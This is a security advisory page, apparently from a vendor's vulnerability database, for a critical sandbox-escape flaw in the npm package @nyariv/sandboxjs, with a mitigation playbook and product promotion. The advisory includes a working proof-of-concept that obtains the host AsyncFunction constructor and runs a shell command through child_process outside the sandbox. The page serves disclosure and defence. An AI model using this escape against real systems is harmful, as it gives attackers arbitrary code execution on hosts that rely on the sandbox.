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📦 npm

GHSA-wxhw-j4hc-fmq6

CRITICAL

SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor

Also known asCVE-2026-23830
Published
Jan 27, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
1.1%probability of exploitation in next 30 days
Lower Risk62th percentile+0.89%
0.00%0.54%1.08%1.62%0.1%1.1%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

@nyariv/sandboxjsnpm
173Kdownloads / week

Description

Summary

A sandbox escape vulnerability due to AsyncFunction not being isolated in SandboxFunction

Details

The library attempts to sandbox code execution by replacing the global Function constructor with a safe, sandboxed version (SandboxFunction). This is handled in utils.ts by mapping Function to sandboxFunction within a map used for lookups.

However, the library did not include mappings for AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction. These constructors are not global properties but can be accessed via the .constructor property of an instance (e.g., (async () => {}).constructor).

In executor.ts, property access is handled. When code running inside the sandbox accesses .constructor on an async function (which the sandbox allows creating), the executor retrieves the property value. Since AsyncFunction was not in the safe-replacement map, the executor returns the actual native host AsyncFunction constructor.

Constructors for functions in JavaScript (like Function, AsyncFunction) create functions that execute in the global scope. By obtaining the host AsyncFunction constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).

PoC

const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();

const payload = `
    const af = async () => {};
    // .constructor returns the host AsyncFunction constructor because it's not intercepted
    const AsyncConstructor = af.constructor;
    console.log("AsyncConstructor name:", AsyncConstructor.name);
    
    // Create a function that executes outside the sandbox
    const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");
    
    // Execute RCE
    const p = func();
    p.then(proc => {
        console.log(proc);
    });
`;

try {
    s.compile(payload)().run();
} catch (e) {
    console.error("Bypass failed:", e.message);
}

Run above script in nodejs. If you run it in browser, change the AsyncConstructor argument by returning window object.

Impact

A Remote Code Execution, attacker may be able to run an arbitrary code.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@nyariv/sandboxjsall versions0.8.26

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @nyariv/sandboxjs to 0.8.26 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wxhw-j4hc-fmq6 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-wxhw-j4hc-fmq6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-wxhw-j4hc-fmq6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction` ### Details The library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups. However, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance
O3 Security · Impact-Aware SCA

Is GHSA-wxhw-j4hc-fmq6 in your dependencies?

O3 detects GHSA-wxhw-j4hc-fmq6 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.